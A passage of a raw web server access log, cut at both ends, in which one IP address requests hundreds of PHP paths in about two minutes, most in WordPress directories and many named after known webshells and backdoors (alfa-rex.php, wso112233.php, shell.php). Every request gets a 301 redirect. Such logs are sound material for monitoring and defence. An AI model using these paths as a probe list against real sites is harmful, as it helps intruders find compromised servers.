HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:13 -0400] "GET /Assets/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:14 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:15 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:15 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:16 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:17 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:18 -0400] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:18 -0400] "GET /wp-content/configs.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:19 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:19 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:20 -0400] "GET /assets/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:21 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:21 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:22 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:22 -0400] "GET /wp-includes/SimplePie/Content/Type/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:23 -0400] "GET /admin/fckeditor/editor/filemanager/owlmailer.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:23 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:24 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:24 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:24 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:25 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:26 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:26 -0400] "GET /wp-includes/rest-api/blue.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:27 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:27 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:27 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:28 -0400] "GET /wp-content/upgrade-temp-backup/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:29 -0400] "GET /.well-known/pki-validation/jp.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:29 -0400] "GET /wp-includes/Requests/Response/siteindex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:30 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:30 -0400] "GET /wp-admin/tools.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:30 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:31 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:31 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:32 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:33 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:33 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:34 -0400] "GET /wp-includes/images/smilies/network.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:34 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:34 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:35 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:36 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:37 -0400] "GET /wp-content/plugins/Cache.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:37 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:38 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:38 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:39 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:39 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:40 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:40 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:41 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:42 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:42 -0400] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:42 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:43 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:43 -0400] "GET /.well-known/pkivalidation/log.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:44 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:45 -0400] "GET /wp-admin/packed.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:46 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:46 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:47 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:47 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:48 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:49 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:50 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:50 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:51 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:52 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:53 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:53 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:54 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:55 -0400] "GET /wp-includes/wp-includes/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:56 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:57 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:57 -0400] "GET /wp-includes/pomo/rk2.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:58 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:59 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:59 -0400] "GET /wp-content/themes/plugin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:59 -0400] "GET /admin/controller/extension/extension/blue.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:00 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:00 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:01 -0400] "GET /wp-includes/js/crop/shell.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:01 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:02 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:02 -0400] "GET /wp-mail.php/wp-includes/ID3/esyfvxgmdq.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:03 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:03 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:03 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:04 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:04 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:04 -0400] "GET /wp-includes/images/media/text.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:05 -0400] "GET /wp-includes/customize/muse.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:05 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:06 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:06 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:07 -0400] "GET /wp-includes/php-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:07 -0400] "GET /wp-content/uploads/2022/update.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:07 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:08 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:09 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:09 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:10 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:10 -0400] "GET /.well-knownold/inputs.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:12 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:13 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:13 -0400] "GET /assets/images/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:15 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:15 -0400] "GET /admin/uploads/lv.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:16 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:18 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:18 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:19 -0400] "GET /admin/uploads/media.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:20 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:20 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:21 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:21 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:22 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:22 -0400] "GET /wp-content/themes/twentytwentytwo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:23 -0400] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:23 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:24 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:24 -0400] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:25 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:26 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:26 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:27 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:27 -0400] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:28 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:28 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:29 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:29 -0400] "GET /wp-admin/update.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:30 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:30 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:31 -0400] "GET /wp-content/mu-plugins/gecko.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:31 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:32 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:32 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:33 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:34 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:34 -0400] "GET /ALFA_DATA/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:35 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:36 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:36 -0400] "GET /wp-includes/html-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:37 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:38 -0400] "GET /wp-admin/includes/m.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:39 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:40 -0400] "GET /admin/fckeditor/editor/filemanager/alfanew.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:41 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:42 -0400] "GET /wp-includes/IXR/shell.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:43 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:44 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:44 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:46 -0400] "GET /wp-includes/Requests/Utility/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:47 -0400] "GET /wp-content/upgrade-temp-backup/ty.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:47 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:48 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:49 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:49 -0400] "GET /include/wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:50 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:50 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:51 -0400] "GET /wp-includes/sodium_compat/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:51 -0400] "GET /bg/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:52 -0400] "GET /wp-content/plugins/core-plugin/file-manager.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:52 -0400] "GET /wp-content/uploads/423_index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:53 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:53 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:53 -0400] "GET /wp-admin/byp.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:54 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:54 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:54 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:55 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:55 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:56 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:56 -0400] "GET /wp-includes/html-api/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:57 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:57 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:58 -0400] "GET /assets/plugins/jquery-file-upload/server/php/include.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:58 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:59 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:58:59 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:00 -0400] "GET /images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:01 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:02 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:03 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:03 -0400] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:04 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:05 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:06 -0400] "GET /wp-content/plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:06 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:07 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:08 -0400] "GET /wp-admin/admin-post.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:09 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:09 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:10 -0400] "GET /wp-admin/network/shell.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:10 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:10 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:11 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:12 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:12 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:13 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:13 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:14 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:14 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:15 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:15 -0400] "GET /.well-known/cache-compat.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:16 -0400] "GET /wp-mail.php/wp-includes/ID3/rnEPv9.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:16 -0400] "GET /wp-includes/php-compat/content.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:17 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:18 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:18 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:18 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:19 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:19 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:20 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:20 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:21 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:22 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:22 -0400] "GET /wp-admin/css/colors/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:22 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:23 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 